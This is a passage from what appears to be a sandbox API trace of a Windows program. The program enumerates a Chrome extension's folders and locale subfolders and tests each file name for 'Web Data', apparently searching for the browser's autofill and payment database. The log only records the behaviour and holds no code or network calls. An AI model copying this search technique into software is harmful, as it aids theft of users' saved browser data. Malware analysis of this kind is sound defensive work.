Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*" [0078.541] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0078.578] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0078.578] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.578] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0078.578] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.578] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0078.578] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.578] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0078.578] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.578] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0078.578] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.578] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x650658 [0078.578] lstrcpyA (in: lpString1=0x650658, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0078.578] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0078.578] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x650758 [0078.578] lstrcpyA (in: lpString1=0x650758, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0078.578] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\", lpString2="__MACOSX" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0078.578] LocalFree (hMem=0x650658) returned 0x0 [0078.579] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6522a8 [0078.579] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0078.579] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*" [0078.579] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.579] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.579] LocalFree (hMem=0x6522a8) returned 0x0 [0078.579] LocalFree (hMem=0x650758) returned 0x0 [0078.580] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0 [0078.580] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0078.580] LocalFree (hMem=0x650550) returned 0x0 [0078.580] LocalFree (hMem=0x650450) returned 0x0 [0078.580] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0078.580] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x65e730 [0078.580] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0078.580] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0078.580] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x650450 [0078.580] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0078.580] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0078.580] LocalFree (hMem=0x65e730) returned 0x0 [0078.580] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x650550 [0078.580] lstrcpyA (in: lpString1=0x650550, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0078.580] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*" [0078.580] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0x6428a8 [0078.600] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0078.600] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.600] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0078.600] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.600] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0078.600] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.600] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0078.600] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.600] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0078.600] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.600] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x650650 [0078.601] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0078.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0078.601] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x650750 [0078.601] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0078.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.601] LocalFree (hMem=0x650650) returned 0x0 [0078.601] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6522a8 [0078.601] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*" [0078.601] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.612] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.612] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.612] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.612] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0078.612] LocalFree (hMem=0x6523b0) returned 0x0 [0078.612] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.612] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0078.612] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*" [0078.612] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.613] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.613] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.613] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.613] LocalFree (hMem=0x6525c0) returned 0x0 [0078.613] LocalFree (hMem=0x6524b8) returned 0x0 [0078.613] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.613] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.613] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.613] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.613] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.613] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.613] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0078.613] LocalFree (hMem=0x6523b0) returned 0x0 [0078.613] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.613] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0078.613] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*" [0078.613] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.614] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.614] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.614] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.614] LocalFree (hMem=0x6525c0) returned 0x0 [0078.614] LocalFree (hMem=0x6524b8) returned 0x0 [0078.614] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.614] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.614] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0078.614] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.614] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.614] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0078.614] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0078.614] LocalFree (hMem=0x6523b0) returned 0x0 [0078.614] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.614] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0078.614] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*" [0078.614] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.615] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.615] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.615] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.615] LocalFree (hMem=0x6525c0) returned 0x0 [0078.615] LocalFree (hMem=0x6524b8) returned 0x0 [0078.615] FindNextFileA (in: hFindFile=0x6428e8, 